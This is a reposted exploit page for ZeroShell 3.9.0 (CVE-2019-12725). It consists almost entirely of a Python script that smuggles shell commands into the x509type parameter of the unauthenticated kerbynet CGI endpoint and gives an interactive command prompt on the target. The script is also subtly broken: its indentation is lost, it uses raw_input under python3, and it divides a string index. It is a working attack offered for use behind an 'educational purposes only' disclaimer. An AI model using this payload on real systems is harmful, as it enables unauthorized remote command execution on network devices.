Zeroshell 3.9.0 remote command execution Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2021-05-13 | Type : webapps | Platform : linux
This exploit / vulnerability Zeroshell 3.9.0 remote command execution is for educational purposes only and if it is used you will do on your own risk!

[+] Code ...

# Exploit Title: ZeroShell 3.9.0 - Remote Command Execution
# Date: 10/05/2021
# Exploit Author: Fellipe Oliveira
# Vendor Homepage: https://zeroshell.org/
# Software Link: https://zeroshell.org/download/
# Version: < 3.9.0
# Tested on: ZeroShell 3.9.0
# CVE : CVE-2019-12725

#!/usr/bin/python3

import requests
import optparse
import time

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help='Base target uri (ex. http://target-uri/)')

options, args = parser.parse_args()
if not options.url:
print('[+] Specify an url target')
print('[+] Example usage: exploit.py -u http://target-uri/')
print('[+] Example help usage: exploit.py -h')
exit()

uri_zeroshell = options.url
session = requests.Session()

def command():
try:
check = session.get(uri_zeroshell + "/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0Aid%0A'")
if check.status_code == 200:
flag = True
print('[+] ZeroShell 3.9.0 Remote Command Execution')
time.sleep(1)
print('[+] Success connect to target')
time.sleep(1)
print('[+] Trying to execute command in ZeroShell OS...\n')
time.sleep(1)
check.raise_for_status()

while flag:
cmd = raw_input("$ ")
payload = "/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A" + cmd + "%0A'"
uri_vuln = uri_zeroshell + payload
burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
res = session.get(uri_vuln, headers=burp0_headers, verify=False)
print(res.text[:res.text.rindex("<html>") / 2])

except requests.exceptions.ConnectionError as err:
print('[x] Failed to Connect in: '+uri_zeroshell+' ')
print('[x] This host seems to be Down')
exit()
except requests.exceptions.HTTPError as conn:
print('[x] Failed to execute command in: '+uri_zeroshell+' ')
print('[x] This host does not appear to be a ZeroShell')
exit()

command()